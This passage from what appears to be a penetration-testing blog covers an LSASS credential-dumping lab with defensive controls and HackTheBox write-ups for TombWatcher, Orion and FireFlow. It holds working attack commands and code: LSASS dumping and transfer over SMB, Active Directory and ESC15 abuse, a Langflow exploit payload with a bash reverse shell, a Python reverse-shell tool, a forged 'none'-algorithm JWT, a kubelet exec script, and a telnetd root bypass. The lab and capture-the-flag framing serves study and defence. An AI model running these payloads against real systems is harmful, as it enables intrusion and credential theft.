Once the dump file exists on the target, parse it offline on Kali rather than running extraction tools on the target where they will trigger AV and EDR.

# Kali — start authenticated SMB server
impacket-smbserver share . -smb2support -user kali -pass kali

# Windows — map the share and copy the dump
net use \\10.200.69.206\share /user:kali kali
copy C:\Windows\Temp\lsass.dmp \\10.200.69.206\share\

Important note: Windows Server 2025 blocks unauthenticated SMB access by default. Guest/anonymous connections are dead. The -user and -pass flags on impacket-smbserver are required or the transfer will fail.

Credential Extraction

Pypykatz

Pypykatz is a Python implementation of Mimikatz designed for offline dump parsing. It runs on Kali without touching the target.

pypykatz lsa minidump lsass.dmp

Output includes NTLM hashes, Kerberos keys (AES256, AES128, DES), cleartext passwords if WDigest was enabled, and DPAPI master keys. On most modern Windows environments the NTLM hashes are the primary output.

KvcForensic (Windows Server 2025+)

Pypykatz and Mimikatz use hardcoded memory offsets and structure signatures that become outdated as Windows releases new builds. Windows Server 2025 introduced changes that break them.

KvcForensic uses a JSON template file for its signatures. When Microsoft changes memory structures, you update a JSON file instead of waiting for a new tool release.

# Install
cd /opt
sudo wget https://github.com/wesmar/KvcForensic/releases/download/latest/KvcForensic_Linux.7z
sudo 7z x KvcForensic_Linux.7z -pgithub.com
sudo chmod +x KvcForensic_static

# Create wrapper
sudo tee /usr/local/bin/kvcforensic << 'EOF'
#!/bin/bash
/opt/Kvc_Forensics/KvcForensic_static --templates /opt/Kvc_Forensics/KvcForensic.json "$@"
EOF
sudo chmod +x /usr/local/bin/kvcforensic

kvcforensic --analyze-dump -i lsass.dmp -o result.txt --format both --full --reveal-secrets

Lab Results

Defensive Controls

1. Disable AutoLogon

AutoLogon stores credentials in the registry so Windows can log in automatically without user interaction. The password sits in HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword in plaintext, and LSASS loads it into memory at boot. Disabling AutoLogon removes this credential source entirely.

Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
  -Name "DefaultPassword" -Force

Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
  -Name "AutoAdminLogon" -Value 0

In Active Directory environments, AutoLogon on servers is a significant finding. It is sometimes configured on kiosk machines or build servers and forgotten, but the credential it stores becomes available to anyone who dumps LSASS or reads the registry with SYSTEM access.

2. Enable RunAsPPL (LSA Protection)

Protected Process Light makes LSASS a protected process. Only Microsoft-signed binaries with a specific token can open a handle to it. Task Manager, ProcDump, and the comsvcs.dll MiniDump trick all fail because they do not meet the signing requirements.

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
  -Name "RunAsPPL" -Value 1 -Type DWord
# Reboot required

This is a significant uplift in protection. The vast majority of commodity credential dumping tools are stopped by PPL because they cannot obtain the necessary process handle. Advanced techniques exist to bypass PPL (kernel drivers, vulnerable signed drivers) but they require significantly more effort and leave more traces.

3. Enable Credential Guard

Credential Guard uses Virtualization-Based Security (VBS) to move NTLM hashes and Kerberos tickets into an isolated virtual container i.e a separate secure process called the Isolated LSA. The main operating system process cannot read the secrets held there.

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
  -Name "LsaCfgFlags" -Value 2 -Type DWord
# Reboot required

Critical distinction: Credential Guard does NOT prevent creating a dump file. All three attack methods will still produce a .dmp file on disk. What changes is that when you parse the dump, the credential fields contain garbage (~_~)…encrypted or zero values. The secrets never existed in the main LSASS process memory to begin with.

This is an important nuance for defenders. Detections should not just look for the act of dumping but also monitor for the conditions that make dumps useful (Credential Guard disabled, PPL disabled, WDigest enabled).

Defense Effectiveness

The layered picture: RunAsPPL stops the dump from being created. Credential Guard allows the dump but renders it useless. Deploying both together means attackers need kernel-level access to bypass PPL AND the isolated secrets are still protected by the hypervisor.

Commands Quick Reference

# Dump LSASS — LOLBin method (highest stealth)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> lsass.dmp full

# Dump LSASS — ProcDump
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Transfer — Kali SMB server
impacket-smbserver share . -smb2support -user kali -pass kali

# Transfer — Windows client
net use \\<KALI_IP>\share /user:kali kali
copy lsass.dmp \\<KALI_IP>\share\

# Parse — Pypykatz
pypykatz lsa minidump lsass.dmp

# Parse — KvcForensic (Server 2025)
kvcforensic --analyze-dump -i lsass.dmp -o result.txt --format both --full --reveal-secrets

# Defend — RunAsPPL
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1

# Defend — Credential Guard
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LsaCfgFlags" -Value 2

What Did We Learn?

1. LSASS is the primary post-exploitation target on Windows
Every interactive logon leaves credential material in LSASS. In Active Directory environments this compounds fast — domain admins, service accounts, and every user who has authenticated on that machine all leave traces. A single dump can unlock lateral movement across the entire domain.

2. LOLBins are the stealthiest approach because nothing new touches disk
rundll32.exe and comsvcs.dll are already present on every Windows installation. No download, no external binary, no new file signature. The comsvcs MiniDump technique is specifically designed to be difficult to detect because it uses the exact same Windows API that legitimate memory dump tools use.

3. Offline parsing is always safer than on-target execution
Running Mimikatz or Pypykatz on the target machine is loud —> AV detects the binary, EDR monitors the API calls. Transferring the dump to Kali and parsing offline avoids all of that. The dump file itself is just memory not inherently malicious until you extract something from it.

4. Windows Server 2025 breaks older parsing tools
Pypykatz failed against the Server 2025 dump. KvcForensic with its JSON template approach handled it. When tools fail, the answer is usually a newer or more adaptable tool not giving up:’(. Knowing the alternative tool exists is what matters.

5. Modern Windows SMB requires authentication for transfers
Guest SMB access is disabled by default on Server 2025. impacket-smbserver needs -user and -pass or the file transfer silently fails.

6. Defense in depth: RunAsPPL stops the dump, Credential Guard makes it worthless
RunAsPPL prevents most tools from opening a handle to LSASS at all. Credential Guard isolates the actual secrets in a hypervisor-protected container so even a successful dump returns garbage. Deploying both together closes almost all commodity LSASS credential dumping paths. The remaining bypass techniques require kernel-level primitives that are significantly harder to weaponize.

HTB TombWatcher

Difficulty: Medium
OS: Windows Server 2019
Platform: HackTheBox
Category: Active Directory
Status: Retired

Overview

TombWatcher chains together multiple AD permission abuses in a clean escalation path. Starting from henry with WriteSPN over alfred, the chain runs through targeted Kerberoasting, gMSA abuse, ForceChangePassword, WriteOwner, and GenericAll before landing a WinRM shell. Privilege escalation goes through a deleted account restored from the AD Recycle Bin, an ESC15 vulnerable certificate template, and an Enrollment Agent certificate that signs for Administrator. Long chain, every step logical.

Reconnaissance

Nmap

nmap -sV -sS -T4 -A -Pn 10.129.232.167

PORT     STATE SERVICE
53/tcp   open  dns
88/tcp   open  kerberos-sec
389/tcp  open  ldap
445/tcp  open  microsoft-ds
5985/tcp open  winrm

echo "10.129.232.167 dc01.tombwatcher.htb tombwatcher.htb" | sudo tee -a /etc/hosts

Starting credentials: henry:H3nry_987TGV!

BloodHound

bloodhound-python -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb \
  -dc dc01.tombwatcher.htb -ns 10.129.232.167 -c all

Full attack path mapped:

henry  -> WriteSPN over alfred
alfred -> AddSelf to INFRASTRUCTURE group
INFRASTRUCTURE -> ReadGMSAPassword over ansible_dev$
ansible_dev$ -> ForceChangePassword over sam
sam -> WriteOwner over john
john -> GenericAll over ADCS OU
john -> member of Remote Management Users

Foothold — Targeted Kerberoasting via WriteSPN

Adding an SPN to Alfred

Henry has WriteSPN over alfred. Add an SPN to make alfred kerberoastable:

python3 /opt/krbrelayx/addspn.py \
  -u 'tombwatcher.htb\henry' -p 'H3nry_987TGV!' \
  -t 'alfred' -s 'HTTP/alfred.tombwatcher.htb' 10.129.232.167

Getting the TGS

ft dc01.tombwatcher.htb impacket-getTGT \
  'tombwatcher.htb/henry:H3nry_987TGV!' -dc-ip 10.129.232.167

export KRB5CCNAME=henry.ccache

ft dc01.tombwatcher.htb impacket-GetUserSPNs \
  tombwatcher.htb/henry -k -no-pass \
  -dc-ip 10.129.232.167 -request

Cracking the Hash

hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt

Cracked: alfred:basketball

Lateral Movement — gMSA Abuse

Alfred Adds Himself to INFRASTRUCTURE

bloodyAD --host 10.129.232.167 -d tombwatcher.htb \
  -u alfred -p 'basketball' add groupMember Infrastructure alfred

Reading ansible_dev$ gMSA Password

ft dc01.tombwatcher.htb nxc ldap 10.129.232.167 \
  -u alfred -p 'basketball' -k --gmsa

ansible_dev$ NTLM: b91f529d36292ba764273e5dd7b90fa1

Lateral Movement — Sam

ForceChangePassword over sam:

bloodyAD --host 10.129.232.167 -d tombwatcher.htb \
  -u 'ansible_dev$' -p ':b91f529d36292ba764273e5dd7b90fa1' \
  set password sam 'Dontoliver1'

Lateral Movement — John

Sam has WriteOwner over john. Take ownership, grant GenericAll, reset password:

bloodyAD --host 10.129.232.167 -d tombwatcher.htb \
  -u sam -p 'Dontoliver1' set owner john sam

bloodyAD --host 10.129.232.167 -d tombwatcher.htb \
  -u sam -p 'Dontoliver1' add genericAll john sam

bloodyAD --host 10.129.232.167 -d tombwatcher.htb \
  -u sam -p 'Dontoliver1' set password john 'Kdot+Drake'

User Flag

John is in Remote Management Users:

evil-winrm -i 10.129.232.167 -u john -p 'Kdot+Drake'

type C:\Users\john\Desktop\user.txt
[REDACTED]

User flag captured. ✅

Privilege Escalation — ADCS ESC15 (CVE-2024-49019)

Enumerating ADCS

John has GenericAll over the ADCS OU. Certipy finds the WebServer template:

certipy-ad find -u 'john@tombwatcher.htb' -p 'Kdot+Drake' \
  -dc-ip 10.129.232.167 -stdout

Key finding: the WebServer template is Schema Version 1 with an unresolved SID (S-1-5-21-...-1111) in enrollment rights. Unresolved SID means a deleted account that still holds rights. That is an AD Recycle Bin target.

Restoring cert_admin from AD Recycle Bin

Get-ADObject -Filter 'isDeleted -eq $true' \
  -IncludeDeletedObjects -Properties cn,objectSid,isDeleted \
  | Where-Object { $_.isDeleted -eq $true }

Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"

Propagating FullControl from the ADCS OU

John has GenericAll over the ADCS OU. Push that down to cert_admin:

impacket-dacledit -action 'write' -rights 'FullControl' \
  -inheritance -principal 'john' \
  -target-dn 'OU=ADCS,DC=tombwatcher,DC=htb' \
  tombwatcher.htb/john:'Kdot+Drake'

Resetting cert_admin Password

bloodyAD --host 10.129.232.167 -d tombwatcher.htb \
  -u john -p 'Kdot+Drake' set password cert_admin 'jackharlow'

What ESC15 Actually Is

ESC15 targets Schema Version 1 certificate templates where the enrollee supplies the subject. Schema v1 templates don’t enforce Application Policy constraints during issuance. This means an attacker can inject the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) into the certificate request, turning a Server Authentication certificate into an Enrollment Agent certificate that can request certificates on behalf of any user in the domain — including Administrator.

Step 1 — Request Enrollment Agent Certificate

certipy-ad req -ca 'tombwatcher-CA-1' \
  -u 'cert_admin@tombwatcher.htb' -p 'jackharlow' \
  -dc-ip 10.129.232.167 \
  -template WebServer \
  -application-policies '1.3.6.1.4.1.311.20.2.1' \
  -target-ip 10.129.232.167

Output: cert_admin.pfx — Enrollment Agent certificate.

Step 2 — Request Certificate on Behalf of Administrator

certipy-ad req -u 'cert_admin@tombwatcher.htb' -p 'jackharlow' \
  -dc-ip 10.129.232.167 \
  -target-ip 10.129.232.167 \
  -ca 'tombwatcher-CA-1' \
  -template User \
  -on-behalf-of 'tombwatcher\administrator' \
  -pfx cert_admin.pfx

Output: administrator.pfx

Step 3 — Authenticate and Get NTLM Hash

ft dc01.tombwatcher.htb certipy-ad auth \
  -dc-ip 10.129.232.167 -pfx administrator.pfx

Administrator NTLM: f61db423bebe3328d33af26741afe5fc

Root Flag

evil-winrm -i 10.129.232.167 -u administrator \
  -H 'f61db423bebe3328d33af26741afe5fc'

type C:\Users\Administrator\Desktop\root.txt
[REDACTED]

Root flag captured. Domain pwned. ✅

Full Attack Chain

henry:H3nry_987TGV! (given)
  |
  WriteSPN over alfred -> add SPN -> Kerberoast
  -> alfred:basketball
     |
     AddSelf to INFRASTRUCTURE group
     -> ReadGMSAPassword -> ansible_dev$ NTLM hash
        |
        ForceChangePassword over sam -> sam:Dontoliver1
           |
           WriteOwner over john -> set owner -> GenericAll -> reset password
           -> john:Kdot+Drake -> WinRM -> USER FLAG
              |
              GenericAll over ADCS OU
              -> unresolved SID on WebServer template
              -> restore cert_admin from AD Recycle Bin
              -> propagate FullControl -> reset cert_admin password
                 |
                 ESC15 (CVE-2024-49019): inject Certificate Request Agent OID
                 -> cert_admin.pfx (Enrollment Agent)
                 -> request cert on behalf of Administrator
                 -> administrator.pfx -> NTLM hash
                 -> evil-winrm -> ROOT FLAG

BTW WHERE YOU SEE ME US “ft”, is a little bash script for faketime i use. Rather than always having to check and update the time. So here you go(^_^)/~ :

#!/bin/sh
DC="${1}"
shift
if [ -z "$DC" ]; then
    echo "[!] Usage: ft <DC_HOSTNAME> <command>"
    echo "    Example: ft dc01.domain.htb nxc smb <IP> -u user -p pass"
    exit 1
fi
TS="$(ntpdate -q "$DC" | awk '{print $1, $2; exit}')"
if [ -z "$TS" ]; then
    echo "[!] Failed to fetch DC time"
    exit 1
fi
echo "[+] Using DC time: $TS"
exec faketime "$TS" "$@"

What Did We Learn?

1. WriteSPN is a Kerberoasting primitive
Any write to the servicePrincipalName attribute lets you add a fake SPN and Kerberoast the account. It’s a quieter path than password spray and doesn’t require the account to already be a service account.

2. gMSA membership groups deserve scrutiny
PrincipalsAllowedToReadPassword controls who can dump the gMSA hash. In this case, getting alfred into the INFRASTRUCTURE group was enough to read ansible_dev$’s hash. Membership in those groups is as sensitive as the service account itself.

3. WriteOwner enables full object compromise
Changing ownership then granting GenericAll is a two-step full takeover of any AD object. Once you own an object you can give yourself any permission you want.

4. Unresolved SIDs in certificate template ACLs signal deleted accounts
When certipy shows a SID instead of a name in enrollment rights, that account was deleted but its permissions persisted. AD Recycle Bin can bring it back with those rights intact. Always investigate unresolved SIDs.

5. ESC15 turns any Schema v1 template into an Enrollment Agent path
Schema Version 1 templates don’t validate Application Policy extensions. Injecting the Certificate Request Agent OID converts a basic Server Authentication certificate into one that can enroll on behalf of any domain user. The fix is upgrading templates to Schema v2 or disabling enrollee-supplied subject on sensitive templates.

6. GenericAll on an OU propagates down with dacledit
GenericAll on the ADCS OU didn’t automatically give control over objects inside it until we used dacledit to push the permission down with inheritance. Understanding how OU-level permissions interact with object-level permissions matters for both attack and defence.

HTB Orion

Difficulty: Easy
OS: Linux
Platform: HackTheBox
Status: Active

Overview

Orion is a very-easy Linux machine that covers three distinct techniques in a clean chain. A CraftCMS instance running a vulnerable version gives unauthenticated RCE. The web root contains a .env file with database credentials. MySQL holds a bcrypt hash that cracks to a password reused on the system account. And an internal telnet daemon with a known auth bypass drops you into a root shell with one environment variable.

Short box. Clean chain. Good fundamentals.

Reconnaissance

Nmap

nmap -sCV 10.129.21.96

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1
80/tcp open  http    nginx 1.18.0

echo "10.129.21.96 orion.htb" | sudo tee -a /etc/hosts

Web Enumeration

The main site is a telecom company landing page. The footer gives away the CMS immediately:

Powered by CraftCMS

Directory fuzzing:

gobuster dir -u http://orion.htb/ -w /usr/share/wordlists/dirb/common.txt -t 50

admin            [200]

/admin redirects to /admin/login –> the CraftCMS control panel. The login page confirms the version: CraftCMS 5.6.16.

That version is vulnerable to CVE-2025-32432.

Initial Access — CVE-2025-32432 (CraftCMS Unauthenticated RCE)

How It Works

The vulnerability lives in the actions/assets/generate-transform endpoint. CraftCMS uses Yii Framework’s object configuration system, which allows arrays with a class key to instantiate arbitrary PHP classes. By sending a crafted JSON payload that triggers GuzzleHttp\Psr7\FnStream (which executes a callable on close), an attacker gets code execution without any authentication.

The attack runs in three phases:

• Leak session path — send a payload that calls phpinfo(), revealing session.save_path
• Inject web shell — poison a PHP session file with <?=eval($_GET['cmd'])?>
• Trigger execution — reference the poisoned session through the same endpoint

CSRF protection is bypassed by extracting CRAFT_CSRF_TOKEN from cookies and csrfTokenValue from the login page JavaScript, then including both in the request.

Exploitation

msfconsole -q -x "use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432; \
  set rhosts orion.htb; \
  set rport 80; \
  set lhost 10.10.16.32; \
  run"

meterpreter > shell
script /dev/null -c /bin/bash

Shell landed as www-data.

User Flag — MySQL Credentials and Hash Cracking

Finding the Credentials

CraftCMS stores database configuration in a .env file at the project root:

cd /var/www/html/craft
cat .env

CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

One file. Database credentials in plaintext. Always check .env first.

Extracting the Admin Hash

mysql -u root -pSuperSecureCraft123Pass! orion \
  -e "SELECT username,email,password FROM users;"

admin | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS

$2y$ is bcrypt.

Cracking

echo '$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS' > hash.txt
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force

Cracked: darkangel

SSH Access

Adam reused their CraftCMS admin password for the system account:

ssh adam@orion.htb
# Password: darkangel

cat user.txt
[REDACTED]

User flag captured. ✅

Privilege Escalation — CVE-2026-24061 (Telnetd Auth Bypass)

Internal Service Discovery

First thing after getting a shell — enumerate what’s listening locally:

ss -tulnp

tcp  LISTEN  127.0.0.1:23    # telnet
tcp  LISTEN  127.0.0.1:3306  # MySQL

Port 23. Telnet on a modern system is always suspicious.

telnet --version
# telnet (GNU inetutils) 2.7

GNU inetutils 2.7 telnetd is vulnerable to CVE-2026-24061.

The Vulnerability

The telnet daemon passes the USER environment variable directly to the login(1) binary. The -f flag tells login to skip authentication entirely. Setting USER to -f root causes the daemon to execute login -f root, which drops straight into a root shell with no password prompt.

USER="-f root" telnet -a 127.0.0.1

Trying 127.0.0.1...
Connected to 127.0.0.1.
Linux 5.15.0-171-generic (orion)

root@orion:~#

Root Flag

cat /root/root.txt
[REDACTED]

Root flag captured. Box pwned. ✅

Full Attack Chain

CVE-2025-32432: CraftCMS object injection RCE
-> CSRF bypass via token extraction from login page
-> www-data shell
   |
   /var/www/html/craft/.env -> MySQL root credentials
   -> mysql -> extract admin bcrypt hash
   -> hashcat (mode 3200) -> darkangel
   -> SSH as adam -> USER FLAG
      |
      ss -tulnp -> telnetd on 127.0.0.1:23
      -> GNU inetutils 2.7 -> CVE-2026-24061
      -> USER="-f root" telnet -a 127.0.0.1
      -> login -f root -> ROOT FLAG

What Did We Learn?

1. CMS version disclosure on the login page is an immediate attack signal
The CraftCMS version was printed at the bottom of the admin login page. One searchsploit query later and the attack path was clear. Always check footers, headers, and response metadata before doing anything else.

2. CSRF tokens protect nothing when they’re readable from the same unauthenticated page
The csrfTokenValue was embedded in the JavaScript of the login page, readable by anyone who fetched it. CSRF tokens only provide protection when they’re tied to an authenticated session.

3. .env files are the first thing to read after landing a web shell
One file contained the database driver, server, port, name, username, and password in plaintext. The entire database was open the moment we found that file. Web application .env files should never be accessible from inside the webroot.

4. bcrypt is slow but common passwords still fall quickly
$2y$ hashes are designed to resist cracking with cost factor 13. darkangel was in rockyou.txt and cracked in seconds. Long, random passwords are the only real defence against offline cracking.

5. Credential reuse is the pivot that makes chains work
The CraftCMS admin password was reused for the system adam account. This is the most common lateral movement path in real environments — always try extracted passwords against SSH, WinRM, and any other auth surface.

6. Internal services are invisible from outside but fully accessible from a shell
Port 23 wasn’t visible in the initial nmap scan because it was bound to localhost. ss -tulnp after landing a shell surfaces everything that’s running internally. Always enumerate local services post-compromise.

7. The USER environment variable passing to login is a classic Unix footgun
Passing -f root through USER to the telnet daemon’s login(1) call bypasses authentication entirely. Any service that passes environment variables unsanitised to a login binary is exploitable this way.

HTB FireFlow

Difficulty: Medium
OS: Linux (Kubernetes)
Platform: HackTheBox
Category: Web / Cloud / Container Escape
Status: Retired

Overview

FireFlow is a medium Linux machine that lives entirely in cloud infrastructure. The attack chain touches four different environments: a Langflow AI platform, a Kubernetes MCP server pod, the Kubernetes control plane, and the underlying host node. The entry point is an unauthenticated RCE in Langflow. From there, environment variables leak credentials, a JWT signature bypass gives admin access to an MCP server, a misconfigured Kubernetes service account with nodes/proxy permission exposes the kubelet API, and a privileged pod with the host filesystem mounted delivers the root flag.

A lot of layers. Clean chain once you understand how each one connects.

Reconnaissance

Nmap

nmap -sV -sS -T4 -A -Pn 10.129.244.214

PORT      STATE    SERVICE
22/tcp    open     SSH       OpenSSH 9.6p1
443/tcp   open     HTTPS     nginx
9100/tcp  filtered
30000+    filtered           Kubernetes NodePorts

HTTPS on 443 and Kubernetes NodePorts in the filtered range.

echo "10.129.244.214 fireflow.htb flow.fireflow.htb" | sudo tee -a /etc/hosts

Web Enumeration

The main page at https://fireflow.htb is a “Task Force Nightfall” intelligence platform. A link in the page points to:

https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25

That’s a Langflow instance (an open-source AI workflow builder). Version check:

curl -k https://flow.fireflow.htb/api/v1/version

{"version":"1.8.2","main_version":"1.8.2","package":"Langflow"}

Langflow 1.8.2. There’s a known unauthenticated RCE for this version.

Initial Access — CVE-2026-33017 (Langflow Unauthenticated RCE)

The Vulnerability

The /api/v1/build_public_tmp/{flow_id}/flow endpoint builds public flows without any authentication. The problem is it also accepts attacker-supplied flow data containing arbitrary Python code in node definitions, which gets passed directly to exec() with no sandboxing. The playground flow ID from the page is public and exploitable directly.

Building the Payload

Twenty minutes of failed attempts came down entirely to quote escaping across four nested layers: curl, JSON, Python, and bash. The fix was simple. Write the payload to a file and use -d @file.json:

cat > exploit.json << 'EOF'
{
  "data": {
    "nodes": [{
      "id": "Exploit-002",
      "type": "genericNode",
      "position": {"x":0,"y":0},
      "data": {
        "id": "Exploit-002",
        "type": "ExploitComp",
        "node": {
          "template": {
            "code": {
              "type": "code",
              "required": true,
              "value": "import os\n\n_x = os.system(\"bash -c 'bash -i >& /dev/tcp/10.10.16.32/9001 0>&1'\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
              "name": "code"
            },
            "_type": "Component"
          },
          "description": "X",
          "base_classes": ["Data"],
          "display_name": "ExploitComp",
          "name": "ExploitComp",
          "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true}]
        }
      }
    }],
    "edges": []
  }
}
EOF

Start listener and fire:

nc -lvnp 9001

curl -sk -X POST \
  'https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow' \
  -H 'Content-Type: application/json' \
  -b 'client_id=attacker' \
  -d @exploit.json

Shell received as www-data.

User Pivot —> nightfall

Environment Variable Leak

env 

LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll

cat /etc/passwd | grep sh$
# nightfall:x:...::/home/nightfall:/bin/bash

su nightfall
# Password: n1ghtm4r3_b4_n1ghtf4ll

cat ~/user.txt
[REDACTED]

User flag captured. ✅

MCP Server Exploitation

MCP Configuration

In nightfall’s home directory:

cat ~/.mcp/config.json

{
  "server": "http://10.129.244.214:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}

The MCP (Model Context Protocol) server on port 30080 allows registering custom tools like Python code that executes server-side. If we can register a tool, we get RCE inside the MCP pod.

JWT “None” Algorithm Attack

The server uses JWT for authentication but never validates the signing algorithm. If you send a token with "alg":"none", no signature verification happens and any payload gets accepted as valid. Classic vulnerability from JWT implementations that trust the algorithm field from the token itself instead of enforcing it server-side.

Forge an admin token:

import base64, json

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = b64url(json.dumps({"alg":"none","typ":"JWT"}).encode())
payload = b64url(json.dumps({"sub":"attacker","role":"admin"}).encode())
token   = f"{header}.{payload}."

print(token)

eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9.

Registering a Malicious Tool

ADMIN_JWT="eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9."

curl -s -X POST http://10.129.244.214:30080/api/v1/tools \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $ADMIN_JWT" \
  -d '{
    "name": "shell",
    "description": "debug shell",
    "inputSchema": {"type":"object","properties":{}},
    "code": "import socket,os,pty\npid=os.fork()\nif pid>0:\n    import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n    import sys;sys.exit(0)\ns=socket.socket()\ns.connect((\"10.10.16.32\",9001))\n[os.dup2(s.fileno(),i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"
  }'

Triggering It

nc -lvnp 9001

curl -s -X POST http://10.129.244.214:30080/mcp \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $ADMIN_JWT" \
  -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}'

Shell received in the MCP pod as root.

Kubernetes Privilege Escalation

Service Account Enumeration

The MCP pod runs with a Kubernetes service account. The token is mounted automatically:

cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d. -f2 | base64 -d

Service account: mcp-sa in the default namespace.

Checking Permissions

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

curl -sk -X POST "https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'

Result: nodes/proxy with get verb.

nodes/proxy lets you proxy requests directly to the kubelet API on any node in the cluster. The kubelet runs as root and exposes endpoints for executing commands inside any pod on that node. This permission is effectively cluster admin.

Finding a Privileged Pod

The kubelet API lists every pod on the node:

curl -sk "https://10.129.244.214:10250/pods" \
  -H "Authorization: Bearer $TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for item in data['items']:
    for c in item['spec']['containers']:
        csc = c.get('securityContext', {})
        vols = [v for v in item['spec'].get('volumes', []) if 'hostPath' in v]
        if csc.get('privileged') and vols:
            paths = [v['hostPath']['path'] for v in vols]
            print(f'[!] {item[\"metadata\"][\"namespace\"]}/{item[\"metadata\"][\"name\"]} - {c[\"name\"]} - {paths}')
"

[!] monitoring/prometheus-prometheus-node-exporter-nmntq - node-exporter - ['/', '/proc', '/sys']

The node exporter pod is privileged and has the entire host filesystem mounted at /. That’s the target.

Executing Commands in the Privileged Pod

The kubelet exposes a WebSocket exec endpoint. Used a Python script to interact with it:

import asyncio, ssl, sys, websockets

NODE  = "10.129.244.214"
NS    = "monitoring"
POD   = "prometheus-prometheus-node-exporter-nmntq"
CNT   = "node-exporter"
TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()

async def ws_exec(cmd_parts):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    args = "&".join(f"command={part}" for part in cmd_parts)
    url  = f"wss://{NODE}:10250/exec/{NS}/{POD}/{CNT}?output=1&error=1&{args}"

    async with websockets.connect(
        url, ssl=ctx,
        additional_headers={"Authorization": f"Bearer {TOKEN}"},
        subprotocols=["v4.channel.k8s.io"],
        open_timeout=10
    ) as ws:
        try:
            while True:
                data = await asyncio.wait_for(ws.recv(), timeout=5)
                if isinstance(data, bytes) and len(data) > 1:
                    sys.stdout.write(data[1:].decode("utf-8", errors="replace"))
                    sys.stdout.flush()
        except:
            pass

asyncio.run(ws_exec(sys.argv[1].split()))

Root Flag

The host filesystem is mounted at /host inside the privileged pod:

python3 /tmp/kube_exec.py "cat /host/root/root/root.txt"

[REDACTED]

Root flag captured. Cluster pwned. ✅

Full Attack Chain

CVE-2026-33017: Langflow unauthenticated RCE
-> build_public_tmp endpoint, attacker-controlled Python in exec()
-> www-data shell
   |
   env leak: LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
   -> su nightfall -> USER FLAG
      |
      ~/.mcp/config.json -> MCP server at :30080
      |
      JWT "none" algorithm -> forged admin token
      -> register malicious tool -> trigger -> MCP pod shell (root)
         |
         /var/run/secrets/.../token -> mcp-sa service account
         -> nodes/proxy permission -> kubelet API access
            |
            kubelet /pods -> find privileged pod with host mount
            -> WebSocket exec -> prometheus node-exporter pod
               |
               /host/root/root/root.txt -> ROOT FLAG

What Did We Learn?

1. Public AI workflow endpoints should never accept arbitrary code
Langflow’s build_public_tmp endpoint was designed for sharing flows publicly. Accepting attacker-supplied node definitions that reach exec() with no sandboxing turns every public flow into an RCE surface. AI platforms that execute user code need proper isolation.

2. Environment variables are not a secret store
LANGFLOW_SUPERUSER_PASSWORD sitting in the process environment is readable by anyone with shell access to that container. Secrets belong in a secrets manager or mounted as files with tight permissions, not in env vars passed at container startup.

3. JWT “none” is a 2015 vulnerability that still ships in production code
